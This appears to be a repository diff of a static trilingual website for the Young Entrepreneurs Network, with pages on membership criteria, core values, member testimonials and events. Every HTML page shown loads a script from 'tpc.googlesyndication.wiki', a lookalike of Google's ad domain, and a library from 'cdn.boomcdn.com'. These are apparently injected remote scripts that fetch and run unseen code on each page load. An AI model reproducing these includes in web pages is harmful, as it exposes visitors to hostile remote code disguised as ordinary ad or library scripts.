<div class="slideshow-3-image" style="background-image: url('../images/DNA-3.jpg')"></div>
</div>
<div class="join-main-2">
<div class="container">
<div class="dna-items">
<h4>Core Values & DNA of YEN members</h4>
<div class="item">
<h5>Confidentiality</h5>
<p>a. Sharing only among members</p>
<p>b. No sharing of photos without permission</p>
</div>
<div class="item">
<h5>Equality</h5>
<p>a. Splitting expenses equally</p>
<p>b. Equality towards every member business regardless of business revenue</p>
<p>c. Creating an environment of a common business language based on equality</p>
</div>
<div class="item">
<h5>Commitment</h5>
<p>a. Self-less approach in giving back to Y.E.N</p>
<p>b. Lending a listening ear without judgement</p>
<p>c. Honest sharing of knowledge</p>
</div>
<div class="item">
<h5>Sharing</h5>
<p>a. Sincere sharing of industry knowledge and expertise</p>
<p>b. Always ready to share resources</p>
<p>c. Quality selection of network</p>
</div>
<div class="item">
<h5>Responsibility</h5>
<p>a. Active participation of Y.E.N activities</p>
<p>b. Strong Initiative in Giving</p>
<p>c. Stepping up as a leader when called upon</p>
</div>
<div class="item">
<h5>Respect</h5>
<p>a. Objective management of relationship</p>
<p>b. Keeping feedback private to respect member privacy</p>
</div>
<p class="tips">If you meet the above criteria and think YEN is a good fit, please contact one of our members to find out more. We look forward to your new journey with YEN.</p>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>Contact Y.E.N</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#85fce0ebabe4e1e8ecebb4c5ece6e9eaf0e1abe6eae8"><span class="__cf_email__" data-cfemail="ea938f84c48b8e878384dbaa838986859f8ec4898587">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 Young Entrepreneurs Network.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
</body>
</html>
en/value.html
+263
View File
@@ -0,0 +1,263 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/value.css">
<link rel="stylesheet" href="../style/en.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>The Y.E.N. Experience</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-worth-1" class="page-block block-worth-1">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
</div>
<div class="main-worth main-worth-mask-1">
<div class="container">
<div id="value" class="worth-content-1">
<div class="animate__animated animate__fadeIn">
<span>
'YEN brothers and sisters are my closest confidants'
<small>- W.C Property business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
'A place where I can be vulnerable'
<small>- C.Y. Consulting business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
'This is not a religious place, but it has defined my progressive mindset'
<small>- V.T. F&B Business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
'Real life deep sharing, no bullshit'
<small>- T.H. Manufacturing business</small>
</span>
</div>
</div>
</div>
</div>
</section>
<section id="block-worth-2" class="page-block block-worth-2">
<div class="slideshow">
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
</div>
<div class="worth-main-2">
<div class="container">
<div class="content">
<div>
<h3>Come! Join our</h3>
<div class="main-2">
<div class="worth-content-2">
<div>
<h5>Study Groups</h5>
<p>We keep up with the ever changing world by coming together about 6 to 10 times a year to share insider knowledge and experiences on market trends and business practices that are not easily or freely available.</p>
</div>
<div>
<h5>Chapter retreat</h5>
<p>Similar to the annual summit but on a local scale, all members of your local chapter will gather at an overseas destination for 3 days to learn, bond and have fun!</p>
</div>
<div>
<h5>Forums</h5>
<p>YEN members can further join a small, tight-knitted group of 6-8 members which is known as a forum. This forum forges deep and trusting relationships by sharing and offering support on the most delicate business and personal issues.</p>
<p>By joining a forum, you gain access to a safe and confidential space that can be relied on unconditionally, for an honest insight and perspective.</p>
</div>
<div>
<h5>Summit</h5>
<p>The YEN summit is a once a year global event where all members gather in person for 3-4 days to learn, share and grow. It is an event fully packed with talks, sharing sessions and bonding activities! This is the popular event among our members with turnout rate always exceeding 90%</p>
</div>
<div>
<h5>Other activities</h5>
<p>Besides the official events, there are many social activities organized spontaneously such as meals gathering, sports, family fun and inter-chapter gatherings throughout the year as you grow and become a part of the YEN family.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>Contact Y.E.N</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#ea938f84c48b8e878384dbaa838986859f8ec4898587"><span class="__cf_email__" data-cfemail="1c657972327d787175722d5c757f70736978327f7371">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 Young Entrepreneurs Network.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
function tranSlogan() {
const oDiv = document.getElementById('value')
let i = 2
const t1 = `
<div class="animate__animated animate__fadeIn">
<span>
'YEN brothers and sisters are my closest confidants'
<small>- W.C Property business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
'A place where I can be vulnerable'
<small>- C.Y. Consulting business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
'This is not a religious place, but it has defined my progressive mindset'
<small>- V.T. F&B Business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
'Real life deep sharing, no bullshit'
<small>- T.H. Manufacturing business</small>
</span>
</div>
`
const t2 = `
<div class="animate__animated animate__fadeIn">
<span>
'Brothers & sisters that you can choose to have'
<small>- B.C. Training industry</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
'No poker face needed, a place you can be yourself'
<small>- A.C. Manufacturing & trading business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
'A comfort home in my entrepreneurship journey'
<small>- L.L. e-commerce business</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
'This place is where entrepreneurs alike meet & bond'
<small>- N.H Culture media business</small>
</span>
</div>
`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = t1
i = 2
}
else if(i === 2) {
oDiv.innerHTML = t2
i = 1
}
}, 12000)
}
tranSlogan()
</script>
</body>
</html>
favicon.ico
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.2 KiB

home.html
+166
View File
@@ -0,0 +1,166 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="style/style.css">
<link rel="stylesheet" href="style/home.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container animate__animated animate__slideInDown">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="images/logo.png" />
<label>YEN</label>
</a>
<h2>雁博青年创业家协会</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 倍伴 -->
<section id="block-home-1" class="page-block block-home-1">
<div class="slideshow">
<div class="slideshow-4-image" style="background-image: url('images/block-home-1a.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-1c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-1d.jpg')"></div>
</div>
<div class="home-main-1">
<div class="container">
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
<label>
<img src="images/pb.png" />
一起成为更好的领导者！
</label>
<span>打造一个正循环生态，让一群企业家透过资讯交流，持续学习，相互支持，让彼此成为更好的领导者；进而改变自己与世界的命运！</span>
<a href="about.html">了解更多</a>
</div>
</div>
</div>
</section>
<!-- 成长 -->
<section id="block-home-2" class="page-block block-home-2">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-home-2b-pc.jpg" style="background-image: url('images/block-home-2b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-2c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-2d.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('images/block-home-2e.jpg')"></div>
</div>
<div class="home-main-2">
<div class="container">
<div id="block-content-2" class="content">
<label>
<img src="images/cz.png" />
突破你的边界！
</label>
<span>透过互相学习的过程，让创业家继续成长突破，并打破创业者孤军奋战的困境，提供安全互信的环境，彼此扶持。</span>
<a href="value.html">了解更多</a>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>联系YEN</label>
<p>
<span>
<img src="images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#48312d2666292c2521267908212b24273d2c662b2725"><span class="__cf_email__" data-cfemail="7108141f5f10151c181f403118121d1e04155f121e1c">[email&#160;protected]</span></a>
</span>
<span>
<img src="images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
</span>
<span>
<img src="images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年创业家协会.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="js/jquery.cookie.min.js"></script>
<script src="js/common.js"></script>
<script>
const oBlock1 = document.getElementById('block-home-1');
const oBlock2 = document.getElementById('block-home-2');
const oContent2 = document.getElementById('block-content-2');
window.onscroll = function(e) {
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
images/DNA-1.jpg
LFS
BIN
View File
Binary file not shown.
images/DNA-2.jpg
LFS
BIN
View File
Binary file not shown.
images/DNA-3.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-1a.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-1b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-1c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-2a.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-2b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-about-2c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-1a.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-1b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-1c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-1d.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-2b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-2c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-2d.jpg
LFS
BIN
View File
Binary file not shown.
images/block-home-2e.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-1a.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-1b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-1c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-1d.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-2a.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-2b.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-2c.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-2d.jpg
LFS
BIN
View File
Binary file not shown.
images/block-worth-2e.jpg
LFS
BIN
View File
Binary file not shown.
images/city-1.jpg
LFS
BIN
View File
Binary file not shown.
images/city-2.jpg
LFS
BIN
View File
Binary file not shown.
images/city-3.jpg
LFS
BIN
View File
Binary file not shown.
images/city-4.jpg
LFS
BIN
View File
Binary file not shown.
images/city-5.jpg
LFS
BIN
View File
Binary file not shown.
images/cta-block-triangles.png
LFS
BIN
View File
Binary file not shown.
images/cz-tc.png
LFS
BIN
View File
Binary file not shown.
images/cz.png
LFS
BIN
View File
Binary file not shown.
images/fh-tc.png
LFS
BIN
View File
Binary file not shown.
images/fh.png
LFS
BIN
View File
Binary file not shown.
images/icon-fb.png
LFS
BIN
View File
Binary file not shown.
images/icon-mail.png
LFS
BIN
View File
Binary file not shown.
images/icon-wechat.png
LFS
BIN
View File
Binary file not shown.
images/join-1.jpg
LFS
BIN
View File
Binary file not shown.
images/join-2.jpg
LFS
BIN
View File
Binary file not shown.
images/join-3.jpg
LFS
BIN
View File
Binary file not shown.
images/logo-button.png
LFS
BIN
View File
Binary file not shown.
images/logo.png
LFS
BIN
View File
Binary file not shown.
images/map.png
LFS
BIN
View File
Binary file not shown.
images/pb.png
LFS
BIN
View File
Binary file not shown.
images/pc-video.mp4
LFS
BIN
View File
Binary file not shown.
images/sm.png
LFS
BIN
View File
Binary file not shown.
images/video.v3.mp4
LFS
BIN
View File
Binary file not shown.
index.html
+180
View File
@@ -0,0 +1,180 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<!-- style files
=========================================== -->
<link rel="icon" href="favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="style/style.css">
<link rel="stylesheet" href="style/index.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="images/logo.png" />
<label>YEN</label>
</a>
<h2>雁博青年创业家协会</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 第一屏 -->
<section class="page-block block-index">
<div class="video-container">
<video
id="home-video"
muted
autoplay
x-webkit-airplay="allow"
x5-playsinline
webkit-playsinline="true"
playsinline="true"
loop="loop"
src="images/video.v3.mp4"
/>
</div>
<div class="main-index">
<div class="content">
<div id="slogan" class="title">
<p class="animate__animated animate__fadeInDown"><span>你好,</span><span>创业者</span></p>
</div>
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年创业家协会.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="js/jquery.cookie.min.js"></script>
<script src="js/common.js"></script>
<script>
const oDiv = document.getElementById('slogan');
//切换视频
function tranVideo() {
const ua = navigator.userAgent
const oVideo = document.getElementById('home-video')
if(
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
ua.toLowerCase().match(/QQ/i) == 'qq'
) {
oVideo.src = './images/video.v3.mp4'
}
else {
oVideo.src = './images/pc-video.mp4'
}
}
tranVideo()
window.onresize = tranVideo
//切换文字
function tranSlogan() {
let i = 1
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
const cn = `<p><span>你好,</span><span>创业者</span></p>`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = en
i = 2
}
else if(i === 2) {
oDiv.innerHTML = cnTw
i = 3
}
else if(i === 3) {
oDiv.innerHTML = cn
i = 1
}
}, 2000)
}
tranSlogan()
</script>
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
<script>
function doPlay() {
document.getElementById('home-video').play();
}
doPlay();
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
document.addEventListener("WeixinJSBridgeReady", function () {
doPlay();
}, false);
//微信Android中无法自动播放处理
const ua = navigator.userAgent.toLowerCase();
const isWeixin = ua.indexOf('micromessenger') != -1;
const isAndroid = ua.indexOf('android') != -1;
if(isWeixin && isAndroid) {
document.getElementById('home-video').setAttribute('poster', './images/poster.png')
}
document.addEventListener("click", doPlay, false);
</script>
</body>
</html>
join.html
+187
View File
@@ -0,0 +1,187 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="style/style.css">
<link rel="stylesheet" href="style/join.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container animate__animated animate__slideInDown">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="images/logo.png" />
<label>YEN</label>
</a>
<h2>加入我们</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="join-block-1" class="page-block join-block-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('images/join-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/join-2.jpg')"></div>
<div class="slideshow-3-image pc-source" data-pc-url="./images/join-3-pc.jpg" style="background-image: url('images/join-3.jpg')"></div>
</div>
<div class="join-main-1">
<div class="container">
<h4>入会标准</h4>
<span>24-45岁的创业者或企业接班人，由现有会员推荐，并由各城市分会面试与审核通过</span>
<h5>创业者（需满足以下条件）</h5>
<ul>
<li><i>i.</i>入会前须有至少一年创业经历，原始股权比例至少10%以上；</li>
<li><i>ii.</i>公司至少有三名全职员工。</li>
</ul>
<h5>企业接班人（以下3条需至少满足2条）</h5>
<ul>
<li><i>i.</i>直系亲属是企业拥有者或大股东，拥有股东会主导权；</li>
<li><i>ii.</i>目前负责一个事业部；</li>
<li><i>iii.</i>目前已在公司任职2年以上，并是企业培养的主要继承者人选。</li>
</ul>
</div>
</div>
</section>
<section id="join-block-2" class="page-block join-block-2">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('images/DNA-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/DNA-2.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('images/DNA-3.jpg')"></div>
</div>
<div class="join-main-2">
<div class="container">
<div class="dna-items">
<h4>除此之外<br />YEN会员之间秉持着六大核心价值 - DNA</h4>
<div class="item">
<h5>保密</h5>
<p>设定清晰保密等级</p>
<p>活动照片公开需当事人同意</p>
</div>
<div class="item">
<h5>平等</h5>
<p>凡事AA制</p>
<p>平等看待各个行业</p>
<p>打造共同语言环境</p>
</div>
<div class="item">
<h5>投入</h5>
<p>主动回馈YEN</p>
<p>不带批判倾听对方声音</p>
<p>诚实反馈所知讯息</p>
</div>
<div class="item">
<h5>分享</h5>
<p>真诚分享企业经营心得</p>
<p>引进外部资源</p>
<p>介绍优质人脉</p>
</div>
<div class="item">
<h5>负责</h5>
<p>积极参加及组织活动</p>
<p>主动承担责任</p>
<p>愿意做组织的领导者</p>
</div>
<div class="item">
<h5>尊重</h5>
<p>对事不对人，不评判他人</p>
<p>有建议私下提出</p>
</div>
<p class="tips">如果你满足上面条件，欢迎联系你身边的YEN会员，或者透过下方邮件联系我们协会。期待和你一起在创业的路上拼搏！</p>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>联系YEN</label>
<p>
<span>
<img src="images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#324b575c1c53565f5b5c03725b515e5d47561c515d5f"><span class="__cf_email__" data-cfemail="fd849893d39c99909493ccbd949e91928899d39e9290">[email&#160;protected]</span></a>
</span>
<span>
<img src="images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
</span>
<span>
<img src="images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年创业家协会.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="js/jquery.cookie.min.js"></script>
<script src="js/common.js"></script>
</body>
</html>
js/common.js
+29
